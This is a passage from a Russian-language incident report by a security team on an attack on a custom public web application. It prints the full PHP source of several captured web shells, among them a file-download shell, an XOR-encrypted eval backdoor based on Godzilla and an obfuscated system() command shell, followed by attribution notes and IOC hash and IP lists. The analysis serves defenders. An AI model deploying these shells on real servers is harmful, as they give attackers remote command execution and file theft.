    $end_ip = ip2long($_POST['end_ip']);
   
    echo "<h3>Scanning IP Range: {$_POST['start_ip']} to {$_POST['end_ip']}</h3>";
   
    for ($ip = $start_ip; $ip <= $end_ip; $ip++) {
      $ip_address = long2ip($ip);
      echo "<h4>Scanning IP: $ip_address</h4>";
     
      $fp = @fsockopen($ip_address, 80, $errno, $errstr, 1); // Timeout of 1 second
      if ($fp) {
        echo "<p style='color: green;'>Machine is live at: $ip_address</p>";
        fclose($fp);
      } else {
        echo "<p style='color: red;'>Machine is not live at: $ip_address</p>";
      }
    }
  }
  ?>
  <!-- Form to scan a port on an IP -->
  <h2>Scan Port on IP</h2>
  <form action="" method="POST">
    <label for="ip_port">Enter IP Address to Scan:</label>
    <input type="text" id="ip_port" name="ip" required>
   
    <label for="port">Enter Port to Scan (1-65535):</label>
    <input type="number" id="port" name="port" min="1" max="65535" required>
   
    <button type="submit" name="action" value="scan_port">Scan Port</button>
  </form>
  <?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'scan_port' && isset($_POST['ip']) && isset($_POST['port'])) {
    $input_ip = $_POST['ip'];
    $input_port = $_POST['port'];

    echo "<h3>Scanning Port $input_port on IP: $input_ip</h3>";

    $fp = @fsockopen($input_ip, $input_port, $errno, $errstr, 1); // Timeout of 1 second
    if ($fp) {
      echo "<p style='color: green;'>Port $input_port is open on: $input_ip</p>";
      fclose($fp);
    } else {
      echo "<p style='color: red;'>Port $input_port is not open on: $input_ip</p>";
    }
  }
  ?>
</body>
</html>

Веб-интерфейс веб-шелла:

Рис. 2. Отображение интерфейса веб-шелла scan2.php
Рис. 2. Отображение интерфейса веб-шелла scan2.php

Веб-шелл donload.php

MD5

342ad1b6fb38fb8b148e51278513b136

SHA1

d0eba06525db21187f9a155af984d378365e9b95

SHA256

b2448aa38640455bd8a050399ed6b2912239f7c167e0cf615c06d3d0670c1032

File name

donload.php

File type

HTML page

File size

1 647 bytes

Код веб-шелла:

    
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>File Downloader</title>
</head>
<body>
  <h1>File Downloader</h1>
  <!-- Form to specify file to download -->
  <form action="" method="POST">
    <label for="file_path">Enter the File Path to Download:</label>
    <input type="text" id="file_path" name="file_path" required>
    <br><br>
    <button type="submit" name="download">Download File</button>
  </form>
  <?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['download']) && isset($_POST['file_path'])) {
    $file_path = $_POST['file_path'];
    // Check if the file exists and is readable
    if (file_exists($file_path) && is_readable($file_path)) {
    // Get file information
    $file_name = basename($file_path);
    $file_size = filesize($file_path);
    // Set headers for file download
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . $file_name . '"');
    header('Content-Length: ' . $file_size);
    header('Pragma: public');
    header('Cache-Control: must-revalidate');
    // Read and output the file
    readfile($file_path);
    exit;
    } else {
    echo "<p style='color: red;'>The specified file does not exist or is not readable.</p>";
    }
  }
  ?>
</body>
</html>

Внешний вид веб-шелла:

Рис. 3. Отображение веб-шелла donload.php
Рис. 3. Отображение веб-шелла donload.php

Код веб-шелла реализует простой веб-интерфейс для скачивания файлов с сервера по указанному пути.

Веб-шелл test.php

MD5

07a3fe9875d3a8b7c57874c4cc509929

SHA1

1a54708fb1b59baf5acafc21f0d2022c277f1944

SHA256

c8e6fbdd905167686b5b793ba68c9b43c695b2d0860655e5d775a5e78ad6299d

File name

test.php

File type

Php script

File size

84 442 bytes

Код веб-шелла полностью совпадает с кодом веб-шелла WSO на github.

Веб-шелл 1.php

MD5

c007655f2c7bf97b9cc7c804fbc3d470

SHA1

a093832b3240b9f5bda91b4642d23622e62677a6

SHA256

8ef50069dc976524e5718112f7caaa5cdefcc6fb5b8be3bc22d7d46de194ba16

File name

1.php

File type

PHP script

File size

884 bytes

Любопытный код на php:

    
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='asd';
$payloadName='payload';
$key='5f039b4ef0058a1d';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,\""getBasicsInfo\"")===false){
            $payload=encode($payload,$key);
        }
\t\teval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,\""getBasicsInfo\"")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}
?>

Этот PHP-скрипт реализует механизм загрузки и выполнения зашифрованного кода через сессию с использованием простого XOR-шифрования.

Если в POST-запросе присутствует параметр с именем asd, то его значение сначала декодируется из base64, затем расшифровывается с помощью XOR с ключом 5f039b4ef0058a1d (используются символы с 2-го по 16-й, затем 1-й). Результат сохраняется в переменную $data. Если в сессии задан параметр payload, его значение также декодируется с помощью того же ключа. Если в расшифрованной полезной нагрузке отсутствует подстрока getBasicsInfo, выполняется повторное XOR-дешифрование, восстанавливающее исходное значение, которое затем передаётся в функцию eval() для выполнения.

В ответ скрипт записывает первые 16 символов MD5-хэша от строки asd5f039b4ef0058a1d, затем base64-кодированный и XOR-зашифрованный результат выполнения произвольного кода и последние 16 символов того же MD5-хэша.

Однако в коде присутствует синтаксическая ошибка:

     \t\teval($payload);

Эта строка содержит управляющие символы табуляции, которые некорректны вне строкового контекста и вызова eval. Это приведёт к ошибке выполнения. Данный скрипт является модифицированной версией веб-шелла из репозитория GodzillaSource, где исходный код не содержит подобных ошибок. Проект GodzillaSource, в свою очередь, основан на небезызвестном проекте Godzilla. Оба проекта, судя по языку описания, разработаны авторами, владеющими китайским языком.

Веб-шелл xtree2.php

MD5

d507fcc0ea9e2c6d3aae35c885fdfe30

SHA1

b58788790149a8309331607c67241fa7a184cdbc

SHA256

6a84dc2a1abf53629e9701364b883dfbd828d1eacb3c0d133c41b4446285e795

File name

xtree2.php

File type

PHP script

File size

334 bytes

Последний шелл на сегодня, да еще и с небольшой отсылкой. Код шелла:

    
<?php
class Test

{
  public $config = '';
  function __destruct()

  {
    $ch = explode(".", "hello.Sy.world.er.eM.sT.Mr.sandman");
    $c = $ch[1] . $ch[5] . $ch[4];
    ob_start();
    @$c($this->config);
    $d = ob_get_clean();
    echo nl2br($d);
  }
}

$test = new Test();
@$test->config = $_GET['x'];
?>

В данном шелле создается класс Test с инициализированным деструктором. Класс имеет свойство config, значение которого задается в GET-параметре «x». При уничтожении класса вызывается функция SysTeM (закодированная в строке), в качестве параметра передается свойство config. Таким образом, в скрипте передается команда для выполнения на системе через функцию system. Упомянутый Mr. Sandman, вероятно, является отсылкой к персонажу европейской мифологии, который может обладать как позитивной, так и отрицательной стороной. Либо же это может быть отсылкой к более современным персонажам из книг и комиксов.

Атрибуция

Файлы шеллов, которые мы наблюдаем, практически все уникальные. Но есть некоторые подробности, которые помогают определить профиль атакующего.

К таким характеризующим подробностям можем отнести:

1. После начала ручного сканирования атаки начинались с 4 утра по Москве. В данное время начинается рабочий день в азиатском регионе.

2. В запросах атакующих после начала ручного анализа через Postman заголовок Accept-Language имеет значение en-US,en;q=0.9,zh-CN.

3. Атакующими использованы имена внутренних серверов для проверки доступа, которые уже были им известны (нет следов сканирования в моменте для получения хостнеймов), что также подтверждает их нацеленность на государственный сектор и возможное участие в других группах, участвовавших в таких атаках, или обмен информацией с ними.

4. Адреса, с которых изначально производилась атака и сканирование:

  • 45.134.12[.]167 AS211522 (Hypercore Ltd) — хостинг, GB
  • 94.137.79[.]205 AS208969 (Biterika Group LLC) — хостинг, RU

Последующие адреса, через которые выполнялась атака (обращения к шеллам):

  • 175.192.11[.]168 AS4766 (Korea Telecom)
  • 175.201.137[.]220 AS4766 (Korea Telecom)
  • 211.52.63[.]239 AS4766 (Korea Telecom)
  • 218.147.141[.]167 AS4766 (Korea Telecom)
  • 222.114.243[.]31 AS4766 (Korea Telecom)
  • 42.100.197[.]151 AS4134 (Chinanet)
  • 42.100.199[.]13 AS4134 (Chinanet)
  • 42.100.199[.]235 AS4134 (Chinanet)
  • 42.100.199[.]33 AS4134 (Chinanet)
  • 5.164.51[.]237 AS56377 (JSC ER-Telecom Holding)
  • 61.43.210[.]21 AS3786 (LG DACOM Corporation)
  • 95.220.186[.]9 AS12714 (PJSC MegaFon)

Основываясь на таких вводных, произвести адекватную атрибуцию довольно сложно. Тем не менее мы считаем, что все три приведенных пункта позволяют нам предположить, что мы имеем дело с атакующими из азиатского региона (которых мы обычно называем Mogwai), но определить точную группу невозможно на текущий момент, в связи с чем мы назвали группу NGC4141.

Заключение

Подвергаться атакам могут не только веб-приложения, написанные на известном ПО, но и кастомные решения, которые являются уникальными в каждом конкретном случае. Представили описание одной из таких атак на кастомные решения публично доступного веб-приложения. Продемонстрировали насколько возможно схему атаки на подобные решения и провели подробный разбор использованных в атаке веб-шеллов, многие из которых уникальные. Данную атаку мы не можем полноценно атрибутировать конкретной группе, однако по косвенным признакам можем предположить, что она была осуществлена какой-либо уже известной группой из азиатского региона.

Проведенный анализ атаки на кастомное решение показывает, что такие системы могут быть скомпрометированы благодаря сочетанию ручных методов, уникальных инструментов (веб-шеллы, сервисы типа FOFA) и высокой квалификации злоумышленников. Средства автоматизированных защит (АВПО, WAF) требуют дополнительного внимания и ручного мониторинга и анализа аномальных запросов. Важно учитывать, что кастомные решения могут стать мишенями для целенаправленных атак, особенно если они используют нестандартные конфигурации.

В заключение статьи хочется сказать, что публичные веб-приложения, расположенные на периметре, требуют пристального внимания, т. к. они представляют весомый процент точек входа в инфраструктуру атакованных компаний. Например, по статистике DFIR-команды 4RAYS, уже опубликованнной в нашем блоге, за первые полугодия 2024 и 2025 годов доля точек входа через уязвимые веб-приложения составляла более 40%. Для защиты веб-приложений необходимо применять все лучшие практики, в том числе для обычных веб-приложений, которые построены на массовых решениях, необходимо осуществлять своевременный патч-менеджмент для закрытия уже известных уязвимостей. Для кастомных веб-приложений, которые или уникальные для заказчика, или используются очень ограниченным набором заказчиков, подход должен быть несколько иным. Необходимо при разработке держать в уме возможные риски для безопасности и проводить, например, аудит кода веб-приложения или даже полноценный пентест для оценки его устойчивости к атакам.

IOCs

Files

MD5

b0dd527959b2f408cb6fa394694741c5
a9ac49cc5a875c90e15f61161e4e56d9
e9f709e8ff689010d06f8b35ec85f9d5
16a7c53687de1a19eda58dfe4d625457
43fb4495b840f2adda38949386a5977a
c8330f98c186f5873390c5a736f470f2
5131b06489384a02ba5dc47f21ee4451
7bf109668ecb0e8176c7b02b5b9e1928
b99ebdc0b0b0c9cf5e9b29933cd24cdb
258c1e97c7e376d0a35a65c54827f4c7
e019500c7f3102c702884d0813b7073d
342ad1b6fb38fb8b148e51278513b136
07a3fe9875d3a8b7c57874c4cc509929
c007655f2c7bf97b9cc7c804fbc3d470
d507fcc0ea9e2c6d3aae35c885fdfe30

SHA1

5634bd3f4e52052febd9acd989778c7621c9db33
edd3fb2e1f618f6dc1f9c7631028cdd39a669c5a
3c2d05d6329c1efbe647eaa0ae1e3e775e9a1587
e2cd7b60bc82d17333aa1fee2edb71a7483a984c
183e52a1258a872273e19b74753867fc8ecee1b4
dbe5055af323d87f818547e8aaaf57ea757eeaa6
e3d95f59721694234f59e4897e4b9da71a05aa2f
983004e564506d098ab332e989e10c3348f29bcf
cee75579941a822c29c1847d5ef11743c031b25b
a5046d01dab87ec4c2352fbd72a4e1012f7e8cb8
e74554be211f63cfdd04ff7a9d22af587d1e31c8
d0eba06525db21187f9a155af984d378365e9b95
1a54708fb1b59baf5acafc21f0d2022c277f1944
a093832b3240b9f5bda91b4642d23622e62677a6
b58788790149a8309331607c67241fa7a184cdbc

SHA256

ae8ffb637779da2b4258f739fcb759c5f040510af33b4876517cf6852e8186f2
1bb92d3e991dd0cfa1fe07f07182ee9a4b86dd6827972687e95765b538ad44c7
b9187f05746aee9277ee00fc35e194676f93e74b376232abf6f89d6503deebfb
701c5e03098a6466c16b1bb9f8d4864c42051cc888fa165039e70ffffc17e799
3fd4e61e47cfb679751e337fa02982d2e81fe5f56a3d10835f259f190d4a2161
4e25ef3591256cbfc9f4b7fe6ed1e461214125cfd9f54866c88ad68681fc5dd5
ee30a93151be9272f0209d2ff3082d06d34297f65317308cb8ba165bdfea3be1
4feb18c0aaf41943c875966e945a2de53304bceb9565ea64b3a2afe522805215
f3cc506258cfc1c29fc6854c0f3a24c2cd69a51e2bcb7afe34e59832318a0e8e
a6939f2abecf085f09643bd674de76e9ca42f0df1f62d969c85b420761722f16
82b7dd8d5af2dfd76e54c9c1779f08e9a2a35d34beb5322780247a1b5390472f
b2448aa38640455bd8a050399ed6b2912239f7c167e0cf615c06d3d0670c1032
c8e6fbdd905167686b5b793ba68c9b43c695b2d0860655e5d775a5e78ad6299d
8ef50069dc976524e5718112f7caaa5cdefcc6fb5b8be3bc22d7d46de194ba16
6a84dc2a1abf53629e9701364b883dfbd828d1eacb3c0d133c41b4446285e795

Сетевые индикаторы

Используемая инфраструктура:

45.134.12[.]167
94.137.79[.]205
175.192.11[.]168
175.201.137[.]220
211.52.63[.]239
218.147.141[.]167
222.114.243[.]31
42.100.197[.]151
42.100.199[.]13
42.100.199[.]235
42.100.199[.]33
5.164.51[.]237
61.43.210[.]21
95.220.186[.]9

Приложение I. Расширенная информация по файловым IOCs

Имя/путь

MD5

SHA1

SHA256

phpZVjULH, phphqRx1b

b0dd527959b2f408cb6fa394694741c5

5634bd3f4e52052febd9acd989778c7621c9db33

ae8ffb637779da2b4258f739fcb759c5f040510af33b4876517cf6852e8186f2

4.php

a9ac49cc5a875c90e15f61161e4e56d9

edd3fb2e1f618f6dc1f9c7631028cdd39a669c5a

1bb92d3e991dd0cfa1fe07f07182ee9a4b86dd6827972687e95765b538ad44c7

5.php

e9f709e8ff689010d06f8b35ec85f9d5

3c2d05d6329c1efbe647eaa0ae1e3e775e9a1587

b9187f05746aee9277ee00fc35e194676f93e74b376232abf6f89d6503deebfb

enc.php, 4.php

16a7c53687de1a19eda58dfe4d625457

e2cd7b60bc82d17333aa1fee2edb71a7483a984c

701c5e03098a6466c16b1bb9f8d4864c42051cc888fa165039e70ffffc17e799

44.php

93032473233a48de0d4e9794192fd45a

2ea5f84b6459474fae89bed58fe4fb7317fcf14c

c17d1362a9b849f449282aa2c3fe0dcf471f4ffbd93f1e12934666571f052ed8

46.php

43fb4495b840f2adda38949386a5977a

183e52a1258a872273e19b74753867fc8ecee1b4

3fd4e61e47cfb679751e337fa02982d2e81fe5f56a3d10835f259f190d4a2161

2.php, 3.php

c8330f98c186f5873390c5a736f470f2

dbe5055af323d87f818547e8aaaf57ea757eeaa6

4e25ef3591256cbfc9f4b7fe6ed1e461214125cfd9f54866c88ad68681fc5dd5

aa.php

5131b06489384a02ba5dc47f21ee4451

e3d95f59721694234f59e4897e4b9da71a05aa2f

ee30a93151be9272f0209d2ff3082d06d34297f65317308cb8ba165bdfea3be1

7.php

3bb8cdfff2aaf9b7fd90a13fd900f24a

3ad29517afc10436f3a31b3f3941d2fe9d069a0a

2251d109fd58696eda6cc8c29c020181bcfa002b08c5674009a2bc05c0cfb08c

ccc.php

7bf109668ecb0e8176c7b02b5b9e1928

983004e564506d098ab332e989e10c3348f29bcf

4feb18c0aaf41943c875966e945a2de53304bceb9565ea64b3a2afe522805215

10.php

b99ebdc0b0b0c9cf5e9b29933cd24cdb

cee75579941a822c29c1847d5ef11743c031b25b

f3cc506258cfc1c29fc6854c0f3a24c2cd69a51e2bcb7afe34e59832318a0e8e

scan2.php

258c1e97c7e376d0a35a65c54827f4c7

a5046d01dab87ec4c2352fbd72a4e1012f7e8cb8

a6939f2abecf085f09643bd674de76e9ca42f0df1f62d969c85b420761722f16

com.php, 6.php

e019500c7f3102c702884d0813b7073d

e74554be211f63cfdd04ff7a9d22af587d1e31c8

82b7dd8d5af2dfd76e54c9c1779f08e9a2a35d34beb5322780247a1b5390472f

donload.php

342ad1b6fb38fb8b148e51278513b136

d0eba06525db21187f9a155af984d378365e9b95

b2448aa38640455bd8a050399ed6b2912239f7c167e0cf615c06d3d0670c1032

test.php

07a3fe9875d3a8b7c57874c4cc509929

1a54708fb1b59baf5acafc21f0d2022c277f1944

c8e6fbdd905167686b5b793ba68c9b43c695b2d0860655e5d775a5e78ad6299d

1.php

c007655f2c7bf97b9cc7c804fbc3d470

a093832b3240b9f5bda91b4642d23622e62677a6

8ef50069dc976524e5718112f7caaa5cdefcc6fb5b8be3bc22d7d46de194ba16

xtree2.php

d507fcc0ea9e2c6d3aae35c885fdfe30

b58788790149a8309331607c67241fa7a184cdbc

6a84dc2a1abf53629e9701364b883dfbd828d1eacb3c0d133c41b4446285e795